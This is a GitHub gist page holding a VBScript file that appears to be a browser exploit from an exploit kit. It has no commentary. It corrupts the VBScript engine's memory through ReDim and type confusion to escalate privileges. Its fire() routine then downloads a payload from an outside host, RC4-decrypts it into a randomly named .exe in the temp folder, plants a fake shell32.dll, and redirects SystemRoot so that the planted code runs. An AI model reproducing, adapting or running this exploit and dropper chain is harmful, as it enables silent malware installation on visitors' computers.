Skip to content

Instantly share code, notes, and snippets.

/05_1.vbs Secret

Created April 18, 2017 06:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/d22637e721326772ead570975c836ae5 to your computer and use it in GitHub Desktop.
Save anonymous/d22637e721326772ead570975c836ae5 to your computer and use it in GitHub Desktop.
Dim aw
Dim lunnga(32)
Dim y(32)
k1 = 1
k2 = 1999 + k1
fix1 = "%u4141"
fastfix = fix1 & fix1
k3 = 32
fix3 = fastfix & fix1
zerofix = "%u0000"
trifix = zerofix & zerofix & zerofix
d = fastfix & "%u0016" & fix3 & "%u4242%u4242"
b = String(k2*k3, "D")
c = d & b
x = UnEscape(c)
Class MiddleD
End Class
Class Wararape
Dim Cod()
Private Sub Class_Initialize
ReDim Preserve Cod(k1, k2)
End Sub
Public Sub ZeroineL()
ReDim Preserve Cod(k1, k1)
End Sub
End Class
Function GogoGoA (arg1, s)
aw = Null
Set aw = New Wararape
For i = 0 To k3
Set lunnga(i) = s
Next
Set aw.Cod(arg1, 2) = s
Dim addr
Dim i
For i = 0 To k3-1
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
GogoGoA = addr
End Function
Function LikeMeLike (arg1, addr)
d = fastfix & "%u0008" & fix3
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New Wararape
Dim o
o = aw.Cod(arg1, 2)
LikeMeLike = o
End Function
Sub Rewwati (arg1, addr)
d = fastfix & "%u400C" & trifix
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New Wararape
aw.Cod(arg1, 2) = CSng(0)
End Sub
Sub Rewwati2 (arg1, addr)
Dim emptyval
d = fastfix & "%u400C" & trifix
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New Wararape
aw.Cod(arg1, 2) = emptyval
End Sub
Function ProtectMe (arg1)
Dim addr
Dim sexy
Dim koles
Dim mem
Set dm = New MiddleD
addr = GogoGoA(arg1, dm)
mem = LikeMeLike(arg1, addr + 8)
sexy = strToInt(Mid(mem, 3, 2))
mem = LikeMeLike(arg1, sexy + 4)
koles = strToInt(Mid(mem, 1, 2))
Rewwati arg1, koles + &H174
fire()
Rewwati2 arg1, koles + &H174
End Function
Function rnds(strLen)
Dim str
Const LETTERS = "abcdehiklmnoprstuw02346"
Randomize
For i = 1 to strLen
str = str & Mid(LETTERS, Int(23*Rnd+1), 1)
Next
rnds = str
End Function
Sub fire()
On Error Resume Next
key="gexywoaxor"
url="http://side.chobaniandyr.com/?q=w3rQMvXcJxfQFYbGMv7DSKNbNk_WHViPxoeG9MildZ-qZGX_k7rDfF-qoVvcCgWRxfAlK&qtuif=1645&oq=OFTbwLhhULRKQdkn4daAF0V_vupjkTRzxKViJWE9BSFMgMW-aKcHbUy0VT8xrEdQJZnxA&ct=sround"
uas=Navigator.userAgent
Set oss=GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
Dim osloc
for each os in oss
osloc=os.OSLanguage
next
SetLocale(osloc)
Set req=CreateObject("WinHTTP.WinHTTPRequest.5.1")
req.SetProxy 0
req.Open "GET",url,0
req.Option(0)=uas
req.Send
If 200=req.status Then
z=req.responseBody
Set c=CreateObject("Scripting.FileSystemObject")
tmp=c.GetSpecialFolder(2)
fake32=tmp&"\System32"
If Not c.FolderExists(fake32) Then
c.CreateFolder(fake32)
End If
Dim dllcode,dlltxt,fakedll
dllcode= Array(&h4d,&h5a,&h80,0,1,0,0,0,4,0,&h10,0,&hff,&hff,0,0,&h40,1,0,0,0,0,0,0,&h40,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,&h80,0,0,0,&he,&h1f,&hba,&he,0,&hb4,9,&hcd,&h21,&hb8,1,&h4c,&hcd,&h21,&h54,&h68,&h69,&h73,&h20,&h70,&h72,&h6f,&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,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)
For i=0 to Ubound(dllCode)
dllCode(i) = Chr(dllCode(i))
Next
dlltxt = Join(dllcode,"")
fakedll = c.BuildPath(fake32,"shell32.dll")
Set b=c.CreateTextFile(fakedll)
b.Write dlltxt
b.Close
f=c.BuildPath(tmp,rnds(8)&".exe")
Set stream=CreateObject("ADODB.Stream")
stream.Open
stream.Type=1
stream.Write z
arcnsave stream,key,f
stream.Close
Set w=CreateObject("WScript.Shell")
w.CurrentDirectory=tmp
oldroot=w.Environment("Process").Item("SystemRoot")
w.Environment("Process").Item("SystemRoot")=tmp
w.Environment("Process").Item("SysFilename")=f
Set sh = CreateObject("Shell.Application")
Environment("Process").Item("SystemRoot")=oldroot
End If
End Sub
Sub arcnsave(stream,strKey,fname)
Dim kLen,x,y,i,j,t,slen,aBuf,bStream
Dim s(256),k(256)
klen=Len(strKey)
For i=0 To 255
s(i)=i
k(i)=AscB(Mid(strKey, (i Mod klen)+1,1))
Next
j=0
For i=0 To 255
j=(j+k(i)+s(i)) And 255
t=s(i):s(i)=s(j):s(j)=t
Next
slen=stream.position
redim rc(slen)
stream.position=0
x=0:y=0
For i=0 To slen-1
x=(x+1) And 255
y=(y+s(x)) And 255
t=s(x):s(x)=s(y):s(y)=t
rc(i)=Chr(CByte(s((s(x)+s(y)) And 255) Xor AscB(stream.Read(1))))
Next
Dim rctxt: rctxt = join(rc,"")
Set c=CreateObject("Scripting.FileSystemObject")
Set b=c.CreateTextFile(fname)
b.Write rctxt
b.Close
End Sub
Function SmuggleFag
aw.ZeroineL()
Dim i
For i = 0 To k3
y(i) = Mid(x, 1, k2*12)
Next
End Function
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment